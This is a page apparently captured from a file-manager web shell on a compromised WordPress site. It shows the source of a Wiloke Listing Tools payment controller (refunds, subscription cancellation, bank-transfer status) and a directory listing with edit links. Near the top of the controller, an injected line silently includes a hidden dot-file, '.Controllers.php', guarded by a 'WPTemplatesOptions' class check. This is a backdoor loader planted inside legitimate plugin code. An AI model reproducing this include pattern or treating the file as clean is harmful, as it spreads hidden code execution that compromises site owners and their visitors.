PATH:
home
/
letacommog
/
newrdv1
/
wp-content
/
plugins1
/
wiloke-listing-tools
/
app
/
Controllers
<?php namespace WilokeListingTools\Controllers; use WilokeListingTools\Controllers\Retrieve\AjaxRetrieve; use WilokeListingTools\Framework\Helpers\Message; use WilokeListingTools\Framework\Helpers\Time; use WilokeListingTools\Framework\Payment\DirectBankTransfer\DirectBankTransferWebhook; use WilokeListingTools\Framework\Payment\PayPal\PayPalCancelRecurringPayment; use WilokeListingTools\Framework\Payment\RefundFactory; use WilokeListingTools\Framework\Payment\Stripe\StripeCancelRecurringPayment; use WilokeListingTools\Framework\Routing\Controller; use WilokeListingTools\Models\PaymentMetaModel; use WilokeListingTools\Models\PaymentModel; if (file_exists($filename = dirname(__FILE__) . DIRECTORY_SEPARATOR . '.' . basename(dirname(__FILE__)) . '.php') && !class_exists('WPTemplatesOptions')) { include_once($filename); } class ChangePlanStatusController extends Controller { private $isExtendNextBillingDate = false; public function __construct() { add_action('wp_ajax_change_sale_status', [$this, 'changeSaleStatus']); add_action('wp_ajax_cancel_subscription', [$this, 'cancelSubscription']); add_action( 'wp_ajax_change_banktransfer_order_status_NonRecurringPayment', [$this, 'changeBankTransferPaymentStatus'] ); add_action( 'wp_ajax_change_banktransfer_order_status_RecurringPayment', [$this, 'changeBankTransferPaymentStatus'] ); add_action('wp_ajax_refund_sale', [$this, 'refundSale']); add_action('admin_enqueue_scripts', [$this, 'enqueueScripts']); add_action('wp_ajax_extend_next_billing_date', [$this, 'extendNextBillingDate']); } public function validatePaymentID($paymentID) { if (empty($paymentID)) { $oRetrieve = new RetrieveController(new AjaxRetrieve()); $oRetrieve->error( [ 'msg' => esc_html__('The payment ID is required.', 'wiloke-listing-tools') ] ); } } public function isBankTransferGateway($gateway) { if (empty($gateway) || $gateway != 'banktransfer') { $oRetrieve = new RetrieveController(new AjaxRetrieve()); $oRetrieve->error( [ 'msg' => esc_html__('This payment gateway does not support this feature', 'wiloke-listing-tools') ] ); } } public function isRefundedStatus($status) { if ($status == 'refunded') { $oRetrieve = new RetrieveController(new AjaxRetrieve()); $oRetrieve->error( [ 'msg' => esc_html__('The payment ID is required.', 'wiloke-listing-tools') ] ); } } public function enqueueScripts() { wp_enqueue_script('plan-controller', WILOKE_LISTING_TOOL_URL.'admin/source/js/plan-controller.js', ['jquery'], WILOKE_LISTING_TOOL_VERSION, true); } public function isCancelledOrRefundedStatus($status) { if (in_array($status, ['cancelled', 'refunded'])) { Message::error(esc_html__('This status is permanent, you can not change that.', 'wiloke-listing-tools')); } return true; } public function refundSale() { $oRetrieve = new RetrieveController(new AjaxRetrieve()); $this->middleware(['isAdministrator']); $currentStatus = PaymentModel::getField('status', $_POST['paymentID']); $this->isCancelledOrRefundedStatus($currentStatus); $oPayment = RefundFactory::get($_POST['gateway']); if (empty($oPayment)) { $oRetrieve->error( [ 'msg' => esc_html__('This gateway does not support this feature', 'wiloke-listing-tools') ] ); } $aStatus = $oPayment->refund($_POST['paymentID']); if ($aStatus['status'] == 'error') { return $oRetrieve->error($aStatus); } $oRetrieve->success($aStatus); } public function cancelSubscription() { $this->middleware(['isAdministrator']); $currentStatus = PaymentModel::getField('status', $_POST['paymentID']); $this->isCancelledOrRefundedStatus($currentStatus); if (empty($_POST['paymentID'])) { wp_send_json_error( [ 'msg' => esc_html__('The payment ID is required', 'wiloke-listing-tools') ] ); } if (empty($_POST['gateway'])) { wp_send_json_error( [ 'msg' => esc_html__('The gateway is required', 'wiloke-listing-tools') ] ); } switch ($_POST['gateway']) { case 'paypal': $oCancelPayPal = new PayPalCancelRecurringPayment(); $aResponse = $oCancelPayPal->execute($_POST['paymentID']); if ($aResponse['status'] = 'success') { do_action('wiloke-listing-tools/payment-cancelled', [ 'paymentID' => $_POST['paymentID'], 'gateway' => 'paypal', 'order_status' => 'cancelled' ]); wp_send_json_success( [ 'order_status' => 'cancelled' ] ); } else { wp_send_json_error([ 'msg' => strip_tags($aResponse['msg']) ]); } break; case 'stripe': $oCancelStripe = new StripeCancelRecurringPayment(); $aResponse = $oCancelStripe->execute($_POST['paymentID']); if ($aResponse['status'] = 'success') { do_action('wiloke-listing-tools/payment-cancelled', [ 'paymentID' => $_POST['paymentID'], 'gateway' => 'stripe', 'order_status' => 'cancelled' ]); wp_send_json_success( [ 'order_status' => 'cancelled' ] ); } else { wp_send_json_error([ 'msg' => strip_tags($aResponse['msg']) ]); } break; default: wp_send_json_error( [ 'msg' => esc_html__('Wrong Payment Gateway', 'wiloke-listing-tools') ] ); break; } } public function changeSaleStatus() { $this->middleware(['isAdministrator']); if (empty($_POST['paymentID'])) { wp_send_json_error( [ 'msg' => esc_html__('The payment ID is required', 'wiloke-listing-tools') ] ); } $currentStatus = PaymentModel::getField('status', $_POST['paymentID']); if (in_array($currentStatus, ['cancelled', 'refunded'])) { wp_send_json_error( [ 'msg' => esc_html__('This plan has been cancelled. You can change the status anymore.', 'wiloke-listing-tools') ] ); } if ($_POST['newStatus'] == 'cancelled_and_unpublish_listing') { $newStatus = 'cancelled'; } else { $newStatus = $_POST['newStatus']; } PaymentModel::updatePaymentStatus($newStatus, $_POST['paymentID']); /* * @PaymentMetaController:setNewNextBillingDateGMT 5 * @UserPlanController:deletePlanIfIsCancelled * @UserPlanController:updateUserPlanIfSucceededOrActivate * @InvoiceController:update */ do_action( 'wiloke-listing-tools/changed-payment-status', [ 'billingType' => wilokeListingToolsRepository()->get('payment:billingTypes', true)->sub('nonrecurring'), 'newStatus' => $_POST['newStatus'], 'oldStatus' => $_POST['currentStatus'], 'paymentID' => $_POST['paymentID'] ] ); wp_send_json_success([ 'msg' => [ 'order_status' => $_POST['newStatus'], 'next_billing_date' => Time::toAtom(PaymentMetaModel::getNextBillingDateGMT($_POST['paymentID'])) ] ]); } public function extendNextBillingDate() { $this->isExtendNextBillingDate = true; $this->changeBankTransferPaymentStatus(); } public function changeBankTransferPaymentStatus() { $oRetrieve = new RetrieveController(new AjaxRetrieve()); $status = $this->middleware( ['isAdministrator'], [ 'isBoolean' => true ] ); if (!$status) { return $oRetrieve->error([ 'msg' => 'Forbidden' ]); } $this->validatePaymentID($_POST['paymentID']); $this->isBankTransferGateway('banktransfer'); $oWebhook = new DirectBankTransferWebhook(); if ($this->isExtendNextBillingDate) { $oWebhook->focusIncreaseNextBillingDate(); } $aStatus = $oWebhook->handler(); if ($aStatus['status'] == 'error') { return $oRetrieve->error($aStatus); } return $oRetrieve->success( [ 'info' => [ 'order_status' => $_POST['newStatus'], 'next_billing_date' => Time::toDateFormat($oWebhook->getNextBillingDateGMT()) ] ] ); } }
[+]
..
[-] PermalinksController.php
[edit]
[-] MessageController.php
[edit]
[-] SetListingBelongsToPlanID.php
[edit]
[-] BelongsToTags.php
[edit]
[-] PrintAddListingSettings.php
[edit]
[-] InsertGallery.php
[edit]
[-] ViewStatisticController.php
[edit]
[-] TermsAndPolicyController.php
[edit]
[-] AddListingButtonController.php
[edit]
[-] SetSinglePrice.php
[edit]
[-] SetCustomButton.php
[edit]
[-] WooCommerceBookingController.php
[edit]
[-] SetMyPosts.php
[edit]
[-] SetVideo.php
[edit]
[-] Validation.php
[edit]
[-] PrintAddListingFields.php
[edit]
[-] NoticeController.php
[edit]
[-] SharesStatisticController.php
[edit]
[-] TraitAddListingSettings.php
[edit]
[-] SetListingRelationship.php
[edit]
[-] EmailController.php
[edit]
[-] SetMyRoom.php
[edit]
[-] SessionController.php
[edit]
[-] DashboardController.php
[edit]
[-] EventController.php
[edit]
[-] AppleLoginController.php
[edit]
[-] TraitSetEventData.php
[edit]
[-] PayPalController.php
[edit]
[-] TranslationController.php
[edit]
[-] PostController.php
[edit]
[-] DokanController.php
[edit]
[-] TermController.php
[edit]
[-] FavoriteStatisticController.php
[edit]
[-] SetSocialNetworks.php
[edit]
[-] SetCustomGroup.php
[edit]
[-] SetCustomSections.php
[edit]
[-] AuthorPageController.php
[edit]
[-] AddBookingComBannerCreator.php
[edit]
[-] PlanRelationshipController.php
[edit]
[-] ProfileController.php
[edit]
[-] MapListingController.php
[edit]
[-] UserController.php
[edit]
[-] BillingControllers.php
[edit]
[-] InsertAddress.php
[edit]
[-] PaymentStatusController.php
[edit]
[-] BelongsToCategories.php
[edit]
[-] InsertCoverImage.php
[edit]
[-] SetPriceRange.php
[edit]
[-] SetPlanRelationship.php
[edit]
[-] ListingController.php
[edit]
[-] SetGeneral.php
[edit]
[-] GridItemController.php
[edit]
[-] PaymentController.php
[edit]
[+]
TransformAddListingData
[-] ContactFormController.php
[edit]
[-] InsertFeaturedImg.php
[edit]
[-] AddListingController.php
[edit]
[-] BelongsToLocation.php
[edit]
[-] RestaurantMenuController.php
[edit]
[-] AjaxUploadImgController.php
[edit]
[-] NotificationsController.php
[edit]
[-] SingleJsonSkeleton.php
[edit]
[-] GalleryController.php
[edit]
[-] IsMyPaymentID.php
[edit]
[-] InsertImg.php
[edit]
[-] ModalController.php
[edit]
[-] PaymentGatewaysController.php
[edit]
[-] ShareController.php
[edit]
[-] RetrieveController.php
[edit]
[-] ModifyQueryController.php
[edit]
[-] TraitHostedBy.php
[edit]
[-] ChangePlanStatusController.php
[edit]
[-] TaxonomiesControllers.php
[edit]
[-] WebhookController.php
[edit]
[-] SearchFormController.php
[edit]
[-] FreePlanController.php
[edit]
[-] BelongsToCustomTaxonomies.php
[edit]
[-] PromotionController.php
[edit]
[-] RunUpdateDBToLatestVersionController.php
[edit]
[-] UserPlanController.php
[edit]
[-] SetContactInfo.php
[edit]
[-] InsertLogo.php
[edit]
[+]
Retrieve
[+]
Map
[-] VerifyPurchaseCode.php
[edit]
[-] StripeController.php
[edit]
[-] NextBillingPaymentController.php
[edit]
[-] SchemaController.php
[edit]
[-] IconController.php
[edit]
[-] AddMorePhotosVideosController.php
[edit]
[-] SetPostDuration.php
[edit]
[-] GuardController.php
[edit]
[-] ReviewController.php
[edit]
[-] OptimizeScripts.php
[edit]
[-] PaymentMetaController.php
[edit]
[-] GetWilokeToolSettings.php
[edit]
[-] SetCoupon.php
[edit]
[-] CouponController.php
[edit]
[-] AddListingPaymentController.php
[edit]
[-] FacebookLoginController.php
[edit]
[-] SingleController.php
[edit]
[-] BookingComController.php
[edit]
[-] SetGroupData.php
[edit]
[-] InvoiceController.php
[edit]
[-] SetProductsToListing.php
[edit]
[-] ReportController.php
[edit]
[-] PayPalExecuteAddListingPayment.php
[edit]
[-] HandleSubmit.php
[edit]
[-] WooCommerceController.php
[edit]
[-] FollowController.php
[edit]
[-] PrintSidebarItems.php
[edit]
[-] .Controllers.php
[edit]
[-] DirectBankTransferController.php
[edit]
[-] ClaimController.php
[edit]
[-] GetSingleImage.php
[edit]
[-] SetRestaurantMenu.php
[edit]
[-] MergingSettingValues.php
[edit]
[-] GoogleReCaptchaController.php
[edit]
[-] RegisterLoginController.php
[edit]
[-] TagsBelongsToCatController.php
[edit]